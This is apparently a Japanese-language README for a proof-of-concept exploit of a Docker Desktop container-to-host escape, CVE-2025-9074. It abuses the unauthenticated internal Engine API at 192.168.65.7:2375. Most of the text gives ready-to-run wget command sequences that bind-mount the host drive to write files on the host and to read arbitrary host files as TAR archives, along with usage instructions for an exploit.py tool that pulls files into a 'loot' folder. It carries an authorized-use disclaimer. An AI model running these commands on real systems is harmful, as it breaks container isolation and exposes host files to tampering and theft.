
Docker Desktop は、内部の Docker Engine API を http://192.168.65.7:2375 で実行中のあらゆるコンテナに公開します。認証もアクセス制御もありません。
エンジン自体がホストのファイルシステムをマウントできるため、コンテナはこの API を呼び出してホストドライブをバインドマウントする新しいコンテナを作成し、そのコンテナを使って任意のホストファイルを読み書きできます。これは完全なコンテナからホストへのエスケープです。
http://192.168.65.7:2375 に接続します。資格情報は不要です。Binds: ["/mnt/host:/host_root"] を指定して POST /containers/create を送信し、ホストドライブを新しいコンテナにマウントします。Docker VM 内では、ホストファイルシステムが /mnt/host として公開されます(例: Windows の C: ドライブは /mnt/host/c にあります)。POST /containers/{id}/start がバインドマウントを有効化し、ホストへのフルアクセスを提供します。echo pwned > /host_root/c/test/pwn.txt)。GET /containers/{id}/archive?path=... は任意のホストパスを TAR アーカイブとしてストリーム返信します。シェルは不要です。読み取りデモの対象となるように、C:\test\readme.txt にサンプルコンテンツを作成します。

docker run -it --rm alpine /bin/sh
以下のすべての手動手順はこのコンテナ内で実行します(alpine には wget が同梱されています)。コマンドを短く保つために、API のシェル変数を設定します:
API=http://192.168.65.7:2375
目的: コンテナ内からホスト上に C:\test\pwn.txt を作成します。
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
何が起こるか:
Binds: /mnt/host:/host_root はホストのドライブを新しいコンテナにマウントします。pwned を C:\test\pwn.txt(/host_root/c/test/pwn.txt)に書き込みます。期待される結果: ホスト上に C:\test\pwn.txt が作成されます。

目的: コンテナ内からホスト上の C:\test\readme.txt を読み取ります。
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
何が起こるか:
GET /containers/{id}/archive?path=... は任意のホストパスを TAR としてストリーム返信します。シェルは不要です。期待される結果: C:\test\readme.txt の内容が出力されます。

exploit.pyexploit.py は両方のフローを自動化します。Python 標準ライブラリのみを使用し、ホストマウントを自動検出し(Windows の /mnt/host/c と macOS/Linux の /)、ネイティブなホストパスを変換してくれます。
内部 API(
192.168.65.7:2375)はコンテナ内からのみ到達可能なため、Python が入ったコンテナ内でスクリプトを実行してください:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
Windows PowerShell では -v "${PWD}:/x" を使用し、cmd.exe では -v "%cd%:/x" を使用します。
python /x/exploit.py info
API に ping を送信し、ホスト OS を検出して、ホストマウントの最上位エントリを一覧表示します。
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
この PoC は許可されたテスト、教育、研究のみを目的としています。著者は誤用に対する責任を負いません。自分が所有している、またはテストを許可されたシステムに対してのみ実行してください。
この PoC と README は、Felix Boulet によるリサーチを基にしています。当初の発見と分析に関するすべての功績は原著者に帰属します。
このプロジェクトは MIT License の下でライセンスされています。
| Flag | Purpose |
|---|
--api URL | API エンドポイントを上書きします(デフォルト: http://192.168.65.7:2375) |
--image NAME | エクスプロイトコンテナに使用するイメージ(デフォルト: alpine、存在しない場合は自動的にプル) |
--vm-mount PATH | 自動検出をスキップして VM 内のホストマウントを強制します(例: /mnt/host または /) |